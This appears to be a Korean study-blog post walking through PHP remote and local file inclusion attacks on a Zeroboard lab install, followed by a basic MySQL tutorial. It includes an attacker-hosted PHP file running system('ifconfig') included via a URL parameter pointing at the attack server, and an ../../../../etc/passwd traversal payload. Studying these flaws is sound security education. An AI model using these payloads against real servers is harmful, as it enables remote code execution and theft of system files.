저번 글 에서 PHP파일 업로드 취약점을 확인해보았다.
정리하면
1. 타겟 서버에 PHP 파일을 업로드 할 수 있고
2. 그 파일을 직접 접근이 가능하다.
이러한 조건이면 PHP 파일 업로드 취약점이라고 할 수 있다.
그렇기 때문에 요즘은 경로를 모르게 경로를 해쉬값으로 바꾸어 url에 집어 넣곤한다.
=> 그 파일에 대한 직접 접근을 제한하는 방법을 사용한 것이다.
오늘은 파일 업로드의 또 다른 유형을 알아보겠다.
만약 파일 업로드가 불가능 하다면?
그럴때 사용할 수 있는 것이 RFI (Remote File Include 취약점) 이다.
현재는 취약점을 패치했지만 파일업로드 공격에 여러가지 유형으로 우회할 수 있다는
가능성을 이해하고자 한다.
이 공격 또한 파일 업로드 우회공격 중 하나이다.
* 리모트 파일 인클루드 취약점
-> PHP 파일 내에서 다른 PHP 파일의 소스코드를 포함시켜서 사용할 수 있는 기능을 이용한 것이다.
-> 복사해서 그 자리다 붙여서 실행하는 효과이다.
공격에 사용할 수 있는 점은 바로..!
-> 원격에 있는 php파일도 include 가능하다는 점이다..!!
즉 우리는 공격을 하기 위해 우리가 공격을 위한 서버를 하나 만들어서
거기다가 우리가 원하는 악성 PHP 파일을 업로드 한 후
Include를 이용하여 만들어놓은 서버의 파일을 불러서 실행시키면 되는 것이다.
그렇다면 먼저 취약점 코드를 확인해 보겠다.
1. 리모트 파일 인쿨루드 취약점이 있는 코드 확인
/var/www/html/zboard/skin/zero_vote/error.php
- 첫 번째 라인 코드
<? include "$dir/value.php3"; ?>
=> 경로에 변수가 사용되고 있다.
-> 이 변수를 조작하면 경로도 조작할 수 있다는 뜻이다.
바로 여기 $dir 변수를 GET방식으로 우리가 원하는 url 값을 넣어 전달해 줄 수 있다.
이유는 처음 우리가 제로보드 설치할 때 레지스터글로벌 설정을 On해두었기 때문이다.
http://192.168.3.11/value.php3
=> url을 통해 인클루드 또한 가능하다.
악성 php파일 이름은 value.php3가 되면 된다. 코드를 보면 /value.php3이기 때문이다.
경로 : document root에다가. (웹 홈 디렉터리로 경로를 전달할 거기 때문이다.)
코드 내용은
<?
system('ifconfig');
?>
이렇다.
공격을 위한 서버에 위와 같은 파일을 올려둔다.
dir변수에 http://192.168.3.203 을 입력해서 던져주면
/var/www/html의 디렉터리에서 value.php3 파일을 Include 하게 된다.
=> 조금더 공격을 확실하게 하려면 공격 서버에는 PHP 모듈은 내려두는게 좋다.
이유는 include를 할 때 공격 서버에서 php가 실행되고 그 결과가 전달 될 때가 있기
때문이다.
취약점 발생 원인
=> dir 이라는 변수에 입력 검증이 없어서이다.
* 그래서 사실 원격 include를 꺼둔다 요즘은.
RFI 취약점 공격 조건
- include, require, 등등
- 입력값 검증의 부재
- 객체에 대한 직접 접근
그렇다면 RFI 공격을 확인해보겠다.
먼저 취약점 코드를 확인해보겠다.!
취약점 코드는 /var/www/html/zboard/skin/zero_vote/error.php 에서 발견되었다.
(error.php 파일)
파일을 확인해보면
첫 번째 라인에서 확인해 볼 수 있다.
(취약점)
그렇다면 이 취약점이 존재하는 파일을 직접 접근이 가능할까?
바로 이게 공격이 가능할 두 번째 조건이기 때문에 확인이 필요하다.
(직접 접근)
직접 접근이 가능하다.!
공격을 시작해보겠다.
이 취약점을 이용해 공격 서버에
<?
system('ifconfig');
?>
코드를 올렸다. 파일이름은 value.php3로 웹 홈 디렉터리에다가..
그렇게 되면 만약 서버에서 이 코드가 실행되면
서버의 IP 주소가 보일 것이다.
(공격 화면)
dir 경로에 http://192.168.3.203 이라는 공격 서버의 IP주소를 던져주었다.
그러니
서버의 IP주소가 나온 것을 확인 할 수 있다.
바로 이 말은 서버에서 ifconfig가 실행 됬다는 것이다.
RFI 과 반대(?)로
LFI가 있다.
바로 로컬 파일 인클루드 취약점 (LFI)이다.
=> 원격 파일 인클루드가 꺼져있는 상황에서도 가능할 수는 있다.
LFI 취약점이 존재하는 파일을 일부러 만들어보겠다.
/var/www/html/vul.php 를 만든다. 코드는 아래와 같다.
<?
include "auth/$file";
?>
(취약점 존재 파일 생성)
(코드)
위 코드를 보면 auth폴더에 파일이름은 $file 변수를 통해 입력 받는 것임을 확인 할 수 있다.
예를 들어 file변수에 login.php 값을 던져주면
auth/login.php 파일이 실행되는 것이다.
(동작 원리)
하지만 이를 통해 민감한 정보에 접근한다면??
바로..
file 변수 값에 ../../../../etc/passwd
를 입력하면..!
(공격 화면)
이렇게 서버의 정보들을 확인 할 수 있다.
웹쉘이랑 비슷한 개념이다.
그렇기에 LFI 취약점도 굉장히 위험한 취약점 중 하나이다.
이제 SQL을 이용한 취약점을 알아보겠다 :)
먼저 SQL을 이해해야한다.
SQL => Structured Query Langauage
- DB 표준언어이다.
- DBMS마다 문법의 차이는 있다.
- DBMS = 관계형 DB(MySQL, MariaDB, MsSQL, Oracle, DB2)
(noSQL, ...)
* MySQL 쿼리 문 : 크게 6개 정도 있다. (그 외에도 더 많다.)
1) DDL : Data Definition Langauage
- 데이터 정의어이다.
- 실제 데이터를 조작하지는 못하는 쿼리이다.
- DB, 테이블 생성 및 삭제를 한다.
- ex) CREATE, DROP
2) DML : Data Manipulation Language
- 데이터 조작어이다.
- 실제 데이터를 변경/추가/삭제/확인 등이 가능한 쿼리이다.
- ex) SELECT, INSERT, DELETE, UPDATE
3) DCL : Data Control Langauage
- 데이터 제어어이다.
- 권한, 트랜잭션, 등등의 역할을 한다.
* 주소록 DB를 만들어 볼 것이다. (SQL 이해)
1. DB 접속
#> mysql -u root -p
를 입력하고 비밀번호를 입력하여 접속을 한다.
(MySQL 접속)
2. 데이터베이스 확인 SHOW DATABASES;
데이터 베이스를 확인하기 위해서는
mysql> show databases;
를 입력하면 된다.
(데이터 베이스 목록)
3. DB 생성 : CREATE DATABASE
mysql> create database 디비이름;
mysql> create database address_list;
(DB 생성)
show databases 로 확인해 보겠다.
(생성 확인)
확인해보면 address_list가 생성된 것을 확인 할 수 있다.
4. DB 삭제 : DROP DATABASE
mysql> drop database 디비이름;
mysql> drop database address_list;
삭제하는 것이다.
전에 만들었던 test DB를 삭제해보겠다.
(DB 삭제)
삭제 된 것을 확인 할 수 있다.
5. 테이블 생성
mysql> create table 테이블이름( 컬럼 정보, ...);
으로 만들어줄 것이다.
만들어줄 열은
no(int), name( char(10) ), phone( char(20) ), age(int), gender( char(1) ), addr ( text )
이다.
괄호 안은 데이터 타입이다.
* 데이터 타입
숫자 : int, float, double
문자 : CHAR, VARCHAR, TEXT(입력된 데이터만큼 용량이 잡힌다. 가변 타입)
바이너리 :blob, longblob
시간, 날짜
먼저
mysql> use address_list;
를 입력하여 우리가 만든 DB로 들어간다.
(DB 접속)
그 후 아까 우리가 설계한 테이블 정보를 입력한다.
mysql> create table students( no int, name char(10), phone char(20), age int, gender char(1), addr text);
(테이블 생성)
테이블 확인은
mysql> show tables;
으로 테이블 목록을 볼 수 있고
mysql> desc [테이블이름];
으로 테이블 정보를 볼 수 있다.
(테이블 확인)
+ 테이블 삭제 DROP TABLE
mysql> drop table [테이블이름];
'Hacking > Web Hacking' 카테고리의 다른 글
WebHacking - SQL Injection(php file download 취약점) (0) | 2017.02.23 |
---|---|
WebHacking - 기초 SQL (0) | 2017.02.23 |
WebHacking - File Upload 취약점 (우회), Web SHell(웹 쉘) (0) | 2017.02.21 |
WebHacking - 아파치 웹 서버 설정 파일 이해 (0) | 2017.02.21 |
WebHacking - PHP File Upload 취약점, 웹 서버 글로벌 설정 파일 (2) | 2017.02.20 |